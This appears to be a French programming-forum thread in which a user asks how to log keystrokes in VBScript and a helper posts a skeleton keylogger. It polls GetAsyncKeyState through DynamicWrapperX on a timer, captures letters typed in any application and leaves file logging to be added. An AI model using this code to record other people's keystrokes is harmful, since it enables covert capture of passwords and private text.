Discussion :

[sokai]

J'ai trouvé ces fonctions dans la dll user32.dll:

GetKeyState

GetKeyboardState

GetAsyncKeyState

Est-il possible de faire un petit script récupérant les touches appuyées pendant que le script tourne?

Si quelqu'un a une idée de comment utiliser les fonctions ou un petit exemple... Merci

[SfJ5Rpw8]

Une piste


Test d'outil : Accéder aux API Win32 en VBScript avec DynamicWrapperX

[sokai]

Une piste


Test d'outil : Accéder aux API Win32 en VBScript avec DynamicWrapperX

Merci !

Petite question en passant... DynamicWrapperX est le seul moyen d'accéder aux API Win32 en VBSCript ou JScript ?

Car cela implique que tous les postes utilisant mon script devront avoir DynamicWrapperX enregistré...

Y a-t-il en moyen d'accéder aux fonctions sans utiliser de DLL externes ?

[omen999]

bonjour,

DynamicWrapperX est le seul moyen d'accéder aux API Win32 en VBSCript ou JScript ?

non, il existe deux ou trois autres wrappers sur le net
regarde notamment le premier lien de ce post
mais c'est le plus récent et le plus complet notamment parce qu'il supporte les callbacks

Car cela implique que tous les postes utilisant mon script devront avoir DynamicWrapperX enregistré...

oui

Y a-t-il en moyen d'accéder aux fonctions sans utiliser de DLL externes ?

nativement, vbscript et jscript n'ont pas d'accès direct aux fonctions des dll comme vb6 ou même le vba
j'ai quelque part un projet d' "extended" windows scripting host avec support natif gui et dll, donc sans enregistrement dans la bdr,
mais j'ai pas trop le temps de m'en occuper
peut-être dans quelques semaines...

[sokai]

bonjour,

peut-être dans quelques semaines...

C'est bon je vais tester avec DynamicWrapperX
Merci bcp pour ces info omen999.

Par contre avant de me lancer je voudrais savoir si ce que je veux faire est possible ? .
Je voudrais faire un script qui enregistre les touches appuyées du clavier (même si je suis sur notepad en train d'écrire).
Je pense utiliser la fonction keybd_event() dans user32.dll mais est-ce la meilleure façon de faire ?

Meilleures idées et exemples sont les bien venus.

Merci

[omen999]

Je pense utiliser la fonction keybd_event() dans user32.dll

non, cette fonction sert à simuler l'envoi d'une touche ou d'une combinaison de touches pas d'enregistrer l'activité du clavier
regarde plutôt du côté de la fonction getasynckeystate en le combinant avec un timer pour éviter de mettre le cpu à 100%
cela dit, le keylogger en vbscript, c'est un peu un vieux fantasme de scriptkiddie mais pourquoi pas

[sokai]

Ouai la fonction que j'avais cité au tout début le problème c'est que tout les exemple utilisant cette fonction sont fait en VB il n'y a rien en VBS... personne n'a de petite exemple... pour débuter au moin (en VBS bien sur !) ?

[omen999]

il n'y a rien en VBS.

eh oui, à ma connaissance, ça n'a pas été encore fait
c'est l'occasion pour toi de réaliser une grande première
avec les indications qui t'ont été données

[sokai]

grande première

Ca me semble quelque chose de pas super rechercher ce que je demande...
et pourtant rien n'as été fait ?... Parce que ce n'est pas possible ou bien ?

Tu parles de "fantasme" de "sciptkiddie" de "grande première" ... j'ai l'impression que tu te moques de moi

Peux-tu me dire sincérement si cela est réalisable en vbs ?

[omen999]

j'ai l'impression que tu te moques de moi

non mais je crois surtout que tu cherches quelqu'un pour faire le taff à ta place ce qui n'est pas trop dans l'esprit de ce forum enfin je crois

Peux-tu me dire sincérement si cela est réalisable en vbs ?

si je te réponds juste oui on va encore me trouver trop laconique...
mais comme j'ai regardé le problème, autant en faire profiter tout le monde

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Dim Wrap, pAddr, pRef
Dim flagLoop
 
Private Function GetCapsLock()
  GetCapsLock = CBool(Wrap.GetKeyState(20))
End Function
 
Private Function GetShift()
  GetShift = CBool(Wrap.GetAsyncKeyState(16))
End Function
 
Sub TimerProc(hWnd, uMsg, idEvent, dwTime)
Const Pressed = -32767
Dim i
Dim KeyPressed
  For i = 65 to 90
    If Wrap.GetAsyncKeyState(i) = Pressed Then
      If GetCapsLock() = True Then
        If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i))
      Else
        If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i))
      End If
      'placer ici le code d'écriture dans le fichier log.txt
      MsgBox KeyPressed  
    End If
  Next
End Sub
 
 
 
Set WshShell = WScript.CreateObject("WScript.Shell")
Set Wrap = CreateObject("DynamicWrapperX")
Set pRef = GetRef("TimerProc")
 
Wrap.Register "user32.dll", "SetTimer", "i=llll", "r=l"
Wrap.Register "user32.dll", "KillTimer", "i=ll", "r=l"    
Wrap.Register "user32.dll", "GetAsyncKeyState", "i=l", "r=n"
Wrap.Register "user32.dll", "GetKeyState", "i=l", "r=n"
 
'créer ici le fichier log.txt
pAddr = Wrap.RegisterCallback(pRef, "i=llll", "r=l")
Wrap.SetTimer 0, 0, 100, pAddr 
flagLoop=True
While flagLoop
   WScript.Sleep 200
Wend

il reste juste le code de gestion du fichier log.txt à écrire

[sokai]

Je ne veux pas qu'on fasse le travail à ma place...
Je voulais juste une bonne piste de départ puisque ça fait que 3 jours que je m'intéresse au vbs...

Bref j'ai encore une question ^^ ! Est-il possible d'utiliser rundll32.exe et de faire ce script en batch ? (.bat)
Ce qui permetterais de ne pas utiliser de DLL externe comme dynwrapx.dll.

Merci bcp en tout cas !

[omen999]

Bref j'ai encore une question ^^ ! Est-il possible d'utiliser rundll32.exe et de faire ce script en batch ? (.bat)

non
quant au keylogger, j'ai continué sur ma lancée et je vais faire une contrib avec un code + complet

[sokai]

Possible d'avoir les raisons précises du "non" ? histoire de bien comprendre
(Car on peut accéder au fonction de user32dll avec rundll32.exe no ?)

Cool pour la contrib ! Ca plaira surement à bcp de monde

[omen999]

Possible d'avoir les raisons précises du "non" ?

une foultitude. une au hasard: les fichiers batch ignorent la notion de fonction qui est indispensable pour définir le timer dont le code lira l'état du clavier
d'une façon générale, les batchs sont destinés au traitement par lots et c'est déjà assez scabreux de faire du keylogging en vbscript
la vraie question serait plutôt de se demander s'il est possible de faire tourner un keylogger vbscript sans inscription préalable du composant dynamicwrapper dans la bdr
réponse peut-être un jour...

[sokai]

les fichiers batch ignorent la notion de fonction

Pourtant RUNDLL32.EXE USER32.DLL,SwapMouseButton marche, ca bloque lorsqu'il y a des paramètres ou des valeurs en retour plutôt no ?

d'une façon générale, les batchs sont destinés au traitement par lots et c'est déjà assez scabreux de faire du keylogging en vbscript

J'avoue que c'est tordu de vouloir faire ça en vbs. C'est juste que je suis curieux et je trouve intéressant de pouvoir se rapprocher de chose qu'on fait d'habitude avec du code compilé

la vraie question serait plutôt de se demander s'il est possible de faire tourner un keylogger vbscript sans inscription préalable du composant dynamicwrapper dans la bdr
réponse peut-être un jour...

T'y a déjà répondu

nativement, vbscript et jscript n'ont pas d'accès direct aux fonctions des dll comme vb6 ou même le vba
j'ai quelque part un projet d' "extended" windows scripting host avec support natif gui et dll, donc sans enregistrement dans la bdr,
mais j'ai pas trop le temps de m'en occuper
peut-être dans quelques semaines...